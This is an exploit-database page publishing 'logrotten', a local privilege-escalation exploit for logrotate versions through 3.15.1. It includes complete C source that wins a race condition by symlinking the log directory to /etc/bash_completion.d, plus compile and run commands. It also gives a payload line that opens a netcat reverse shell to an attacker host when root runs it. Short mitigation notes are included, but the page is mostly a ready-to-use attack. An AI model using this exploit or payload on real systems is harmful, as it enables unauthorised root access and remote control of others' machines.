Logrotate 3.15.1 Privilege Escalation

2019.10.07
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

# Exploit Title: logrotten 3.15.1 - Privilege Escalation # Date: 2019-10-04 # Exploit Author: Wolfgang Hotwagner # Vendor Homepage: https://github.com/logrotate/logrotate # Software Link: https://github.com/logrotate/logrotate/releases/tag/3.15.1 # Version: all versions through 3.15.1 # Tested on: Debian GNU/Linux 9.5 (stretch) ## Brief description - logrotate is prone to a race condition after renaming the logfile. - If logrotate is executed as root, with option that creates a file ( like create, copy, compress, etc.) and the user is in control of the logfile path, it is possible to abuse a race-condition to write files in ANY directories. - An attacker could elevate his privileges by writing reverse-shells into directories like "/etc/bash_completition.d/". ## Precondition for privilege escalation - Logrotate has to be executed as root - The logpath needs to be in control of the attacker - Any option that creates files is set in the logrotate configuration ## Tested version - Debian GNU/Linux 9.5 (stretch) - Amazon Linux 2 AMI (HVM) - Ubuntu 18.04.1 - logrotate 3.8.6 - logrotate 3.11.0 - logrotate 3.15.0 ## Compile - gcc -o logrotten logrotten.c ## Prepare payload ``` echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile ``` ## Run exploit If "create"-option is set in logrotate.cfg: ``` ./logrotten -p ./payloadfile /tmp/log/pwnme.log ``` If "compress"-option is set in logrotate.cfg: ``` ./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log ``` ## Known Problems - It's hard to win the race inside a docker container or on a lvm2-volume ## Mitigation - make sure that logpath is owned by root - use option "su" in logrotate.cfg - use selinux or apparmor ## Author - Wolfgang Hotwagner ## References - https://github.com/whotwagner/logrotten - https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition - https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges - https://www.ait.ac.at/themen/cyber-security/ait-sa-20190930-01/ - https://tech.feedyourhead.at/content/privilege-escalation-in-groonga-httpd logrotten.c /* * logrotate poc exploit * * [ Brief description ] * - logrotate is prone to a race condition after renaming the logfile. * - If logrotate is executed as root and the user is in control of the logfile path, it is possible to abuse a race-condition to write files in ANY directories. * - An attacker could elevate his privileges by writing reverse-shells into * directories like "/etc/bash_completition.d/". * * [ Precondition for privilege escalation ] * - Logrotate needs to be executed as root * - The logpath needs to be in control of the attacker * - Any option(create,compress,copy,etc..) that creates a new file is set in the logrotate configuration. * * [ Tested version ] * - Debian GNU/Linux 9.5 (stretch) * - Amazon Linux 2 AMI (HVM) * - Ubuntu 18.04.1 * - logrotate 3.8.6 * - logrotate 3.11.0 * - logrotate 3.15.0 * * [ Compile ] * - gcc -o logrotten logrotten.c * * [ Prepare payload ] * - echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile * * [ Run exploit ] * - nice -n -20 ./logrotten -p payloadfile /tmp/log/pwnme.log * - if compress is used: nice -n -20 ./logrotten -c -s 3 -p payloadfile /tmp/log/pwnme.log.1 * * [ Known Problems ] * - It's hard to win the race inside a docker container or on a lvm2-volume * * [ Mitigation ] * - make sure that logpath is owned by root * - use su-option in logrotate.cfg * - use selinux or apparmor * * [ Author ] * - Wolfgang Hotwagner * * [ Contact ] * - https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition * - https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges * - https://github.com/whotwagner/logrotten */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <sys/types.h> #include <sys/inotify.h> #include <unistd.h> #include <string.h> #include <alloca.h> #include <sys/stat.h> #include <getopt.h> #define EVENT_SIZE ( sizeof (struct inotify_event) ) #define EVENT_BUF_LEN ( 1024 * ( EVENT_SIZE + 16 ) ) /* use TARGETDIR without "/" at the end */ #define TARGETDIR "/etc/bash_completion.d" #define PROGNAME "logrotten" void usage(const char* progname) { printf("usage: %s [OPTION...] <logfile>\n",progname); printf(" %-3s %-22s %-30s\n","-h","--help","Print this help"); printf(" %-3s %-22s %-30s\n","-t","--targetdir <dir>","Abosulte path to the target directory"); printf(" %-3s %-22s %-30s\n","-p","--payloadfile <file>","File that contains the payload"); printf(" %-3s %-22s %-30s\n","-s","--sleep <sec>","Wait before writing the payload"); printf(" %-3s %-22s %-30s\n","-d","--debug","Print verbose debug messages"); printf(" %-3s %-22s %-30s\n","-c","--compress","Hijack compressed files instead of created logfiles"); printf(" %-3s %-22s %-30s\n","-o","--open","Use IN_OPEN instead of IN_MOVED_FROM"); } int main(int argc, char* argv[] ) { int length, i = 0; int j = 0; int index = 0; int fd; int wd; char buffer[EVENT_BUF_LEN]; uint32_t imask = IN_MOVED_FROM; char *payloadfile = NULL; char *logfile = NULL; char *targetdir = NULL; char *logpath; char *logpath2; char *targetpath; int debug = 0; int sleeptime = 1; char ch; const char *p; FILE *source, *target; int c; while(1) { int this_option_optind = optind ? optind : 1; int option_index = 0; static struct option long_options[] = { {"payloadfile", required_argument, 0, 0}, {"targetdir", required_argument, 0, 0}, {"sleep", required_argument, 0, 0}, {"help", no_argument, 0, 0}, {"open", no_argument, 0, 0}, {"debug", no_argument, 0, 0}, {"compress", no_argument, 0, 0}, {0,0,0,0} }; c = getopt_long(argc,argv,"hocdp:t:s:", long_options, &option_index); if (c == -1) break; switch(c) { case 'p': payloadfile = alloca((strlen(optarg)+1)*sizeof(char)); memset(payloadfile,'\0',strlen(optarg)+1); strncpy(payloadfile,optarg,strlen(optarg)); break; case 't': targetdir = alloca((strlen(optarg)+1)*sizeof(char)); memset(targetdir,'\0',strlen(optarg)+1); strncpy(targetdir,optarg,strlen(optarg)); break; case 'h': usage(PROGNAME); exit(EXIT_FAILURE); break; case 'd': debug = 1; break; case 'o': imask = IN_OPEN; break; case 'c': imask = IN_OPEN; break; case 's': sleeptime = atoi(optarg); break; default: usage(PROGNAME); exit(EXIT_FAILURE); break; } } if(argc == (optind+1)) { logfile = alloca((strlen(argv[optind])+1)*sizeof(char)); memset(logfile,'\0',strlen(argv[optind])+1); strncpy(logfile,argv[optind],strlen(argv[optind])); } else { usage(PROGNAME); exit(EXIT_FAILURE); } for(j=strlen(logfile); (logfile[j] != '/') && (j != 0); j--); index = j+1; p = &logfile[index]; logpath = alloca(strlen(logfile)*sizeof(char)); logpath2 = alloca((strlen(logfile)+2)*sizeof(char)); if(targetdir != NULL) { targetpath = alloca( ( (strlen(targetdir)) + (strlen(p)) +3) *sizeof(char)); strcat(targetpath,targetdir); } else { targetdir= TARGETDIR; targetpath = alloca( ( (strlen(TARGETDIR)) + (strlen(p)) +3) *sizeof(char)); targetpath[0] = '\0'; strcat(targetpath,TARGETDIR); } strcat(targetpath,"/"); strcat(targetpath,p); for(j = 0; j < index; j++) logpath[j] = logfile[j]; logpath[j-1] = '\0'; strcpy(logpath2,logpath); logpath2[strlen(logpath)] = '2'; logpath2[strlen(logpath)+1] = '\0'; /*creating the INOTIFY instance*/ fd = inotify_init(); if( debug == 1) { printf("logfile: %s\n",logfile); printf("logpath: %s\n",logpath); printf("logpath2: %s\n",logpath2); printf("targetpath: %s\n",targetpath); printf("targetdir: %s\n",targetdir); printf("p: %s\n",p); } /*checking for error*/ if ( fd < 0 ) { perror( "inotify_init" ); } wd = inotify_add_watch( fd,logpath, imask ); printf("Waiting for rotating %s...\n",logfile); while(1) { i=0; length = read( fd, buffer, EVENT_BUF_LEN ); while (i < length) { struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ]; if ( event->len ) { if ( event->mask & imask ) { if(strcmp(event->name,p) == 0) { rename(logpath,logpath2); symlink(targetdir,logpath); printf("Renamed %s with %s and created symlink to %s\n",logpath,logpath2,targetdir); if(payloadfile != NULL) { printf("Waiting %d seconds before writing payload...\n",sleeptime); sleep(sleeptime); source = fopen(payloadfile, "r"); if(source == NULL) exit(EXIT_FAILURE); target = fopen(targetpath, "w"); if(target == NULL) { fclose(source); exit(EXIT_FAILURE); } while ((ch = fgetc(source)) != EOF) fputc(ch, target); chmod(targetpath,S_IRUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH); fclose(source); fclose(target); } inotify_rm_watch( fd, wd ); close( fd ); printf("Done!\n"); exit(EXIT_SUCCESS); } } } i += EVENT_SIZE + event->len; } } /*removing from the watch list.*/ inotify_rm_watch( fd, wd ); /*closing the INOTIFY instance*/ close( fd ); exit(EXIT_SUCCESS); }


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top